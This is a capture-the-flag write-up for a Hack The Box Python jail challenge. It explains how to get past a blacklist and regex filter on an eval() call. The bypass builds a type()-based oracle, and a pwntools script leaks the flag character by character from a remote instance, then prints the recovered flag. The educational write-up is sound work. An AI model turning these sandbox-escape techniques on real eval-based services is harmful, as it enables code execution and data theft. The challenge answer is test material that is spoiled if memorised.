Type Exception
5 minutes to read
We are given this Python script that is executed in the remote instance:
#!/usr/bin/env python3
import re
with open("./flag.txt") as f:
FLAG = f.read().strip()
BLACKLIST = '"%&\',-/_:;@\\`{|}~*<=>[] \t\n\r\x0b\x0c'
OPEN_LIST = '('
CLOSE_LIST = ')'
def check_balanced(s):
stack = []
for i in s:
if i in OPEN_LIST:
stack.append(i)
elif i in CLOSE_LIST:
pos = CLOSE_LIST.index(i)
if ((len(stack) > 0) and
(OPEN_LIST[pos] == stack[len(stack)-1])):
stack.pop()
else:
return False
return len(stack) == 0
def check(s):
if re.match(r"[a-zA-Z]{4}", inp):
print("You return home.")
elif len(set(re.findall(r"[\W]", inp))) > 4:
print(set(re.findall(r"[\W]", inp)))
print("A single man cannot bear the weight of all those special characters. You return home.")
else:
return all(ord(x) < 0x7f for x in s) and all(x not in s for x in BLACKLIST) and check_balanced(s)
def safe_eval(s, func):
if not check(s):
print("\U0001F6B6" + "\U0001F6B6" + "\U0001F6B6")
else:
try:
print(eval(f"{func.__name__}({s})", {"__builtins__": {func.__name__: func}, "flag": FLAG}))
except:
print("Error")
if __name__ == "__main__":
while True:
inp = input("Input : ")
safe_eval(inp, type)
Source code analysis
The script allows us to execute Python code, but with some limitations. For instance, there is a variable called BLACKLIST
that holds forbidden characters. Moreover, check_balanced
will verify that parentheses are correctly set (although the function looks weird). In check
, RegEx is used to block words of 4 characters or more and more than 4 distinct special characters.
To put things worse, safe_eval
is called as safe_eval(inp, type)
. Basically, our input code will be placed as follows: eval('type(<inp>))
), with no __builtins__
functions and only FLAG
as variable (flag
).
Tests
We can test a bit:
$ python3 src/challenge.py
Input : 1
<class 'int'>
Input : flag
You return home.
🚶🚶🚶
Input : FLAG
You return home.
🚶🚶🚶
Input : {}
🚶🚶🚶
Input : ()
<class 'tuple'>
Input : ''
🚶🚶🚶
It looks like the RegEx to search for 4-character words is not properly defined, since it looks only at the beginning of the string:
$ python3 -q
>>> import re
>>> inp = "flag"
>>> re.match(r"[a-zA-Z]{4}", inp)
<re.Match object; span=(0, 4), match='type'>
>>> inp = "(flag)"
>>> re.match(r"[a-zA-Z]{4}", inp)
>>> exit()
Indeed, we can check it in the challenge script:
$ python3 src/challenge.py
Input : flag
You return home.
🚶🚶🚶
Input : (flag)
<class 'str'>
Python’s type
function
One curious thing is that type
in Python allows to create any object of the current type:
$ python3 -q
>>> type(1)
<class 'int'>
>>> type(1)(1234)
1234
>>> type('asdf')
<class 'str'>
>>> type('asdf')('fdsa')
'fdsa'
However, we can’t enter something like 1)(1234
in the challenge script because check_balanced
will catch it:
$ python3 src/challenge.py
Input : 1)(2
🚶🚶🚶
Instead, we can try to get an oracle, since we are able to print <class 'int'>
and <class 'tuple'>
:
$ python3 src/challenge.py
Input : (1)if(True)else()
<class 'int'>
Input : (1)if(False)else()
<class 'tuple'>
The oracle
So we have an oracle. This may help th get the flag characters one by one with a bit of brute force. We know that the first character will be H
(ASCII code 72). We must find a way to transform the flag into a list of ASCII codes. We can do it like this (progressive steps):
>>> flag = 'HTB{f4k3_fl4g_f0r_t3st1ng}'
>>> list(flag)
['H', 'T', 'B', '{', 'f', '4', 'k', '3', '_', 'f', 'l', '4', 'g', '_', 'f', '0', 'r', '_', 't', '3', 's', 't', '1', 'n', 'g', '}']
>>> list(flag.encode())
[72, 84, 66, 123, 102, 52, 107, 51, 95, 102, 108, 52, 103, 95, 102, 48, 114, 95, 116, 51, 115, 116, 49, 110, 103, 125]
>>> type([])
<class 'list'>
>>> type([])(flag.encode())
[72, 84, 66, 123, 102, 52, 107, 51, 95, 102, 108, 52, 103, 95, 102, 48, 114, 95, 116, 51, 115, 116, 49, 110, 103, 125]
>>> flag.split()
['HTB{f4k3_fl4g_f0r_t3st1ng}']
>>> type(flag.split())
<class 'list'>
>>> type(flag.split())(flag.encode())
[72, 84, 66, 123, 102, 52, 107, 51, 95, 102, 108, 52, 103, 95, 102, 48, 114, 95, 116, 51, 115, 116, 49, 110, 103, 125]
Great. Now let’s see how to take some characters:
>>> type(flag.split())(flag.encode()).pop(0)
72
>>> type(flag.split())(flag.encode()).pop(1)
84
>>> type(flag.split())(flag.encode()).pop(2)
66
Alright. How can we compare them without =
signs? Yes, it is
:
>>> 72 is type(flag.split())(flag.encode()).pop(0)
<stdin>:1: SyntaxWarning: "is" with a literal. Did you mean "=="?
True
>>> 71 is type(flag.split())(flag.encode()).pop(0)
<stdin>:1: SyntaxWarning: "is" with a literal. Did you mean "=="?
False
Actually, we will need some parentheses to avoid using white spaces.
So, we have built the oracle. And it works in the challenge script:
$ python3 src/challenge.py
Input : (1)if((72)is(type(flag.split())(flag.encode()).pop(0)))else()
<stdin>:1: SyntaxWarning: "is" with a literal. Did you mean "=="?
<class 'int'>
Input : (1)if((71)is(type(flag.split())(flag.encode()).pop(0)))else()
<stdin>:1: SyntaxWarning: "is" with a literal. Did you mean "=="?
<class 'tuple'>
However, the warning is a problem. Here we have a similar way to do the same, without warnings:
$ python3 -q
>>> flag = 'HTB{f4k3_fl4g_f0r_t3st1ng}'
>>> 72 in type(flag.split())(flag).pop(0).encode()
True
>>> 71 in type(flag.split())(flag).pop(0).encode()
False
>>> exit()
$ python3 src/challenge.py
Input : (1)if((72)in(type(flag.split())(flag).pop(0).encode()))else()
<class 'int'>
Input : (1)if((71)in(type(flag.split())(flag).pop(0).encode()))else()
<class 'tuple'>
Now we just need to automate it:
def main():
p = get_process()
flag = []
flag_progress = log.progress('Flag')
while ord('}') not in flag:
for b in range(0x20, 0x7f):
p.sendlineafter(b'Input : ', f'(1)if(({b})in(type(flag.split())(flag).pop({len(flag)}).encode()))else()'.encode())
p.recvline()
if b'int' in p.recvline():
flag.append(b)
flag_progress.status(''.join(map(chr, flag)))
break
flag_progress.success(''.join(map(chr, flag)))
If we run it locally, we will see the test flag:
$ python3 solve.py
[+] Starting local process '/usr/bin/python3': pid 48632
[+] Flag: HTB{FAKE_FLAG_FOR_TESTING}
[*] Stopped process '/usr/bin/python3' (pid 48632)
Flag
Let’s run it remotely:
$ python3 solve.py 209.97.131.137:32263
[+] Opening connection to 209.97.131.137 on port 32263: Done
[+] Flag: HTB{W$RN3NG_CL4$S_1NT_4R$$_$T1R1NG}
[*] Closed connection to 209.97.131.137 port 32263
The full script can be found in here: solve.py
.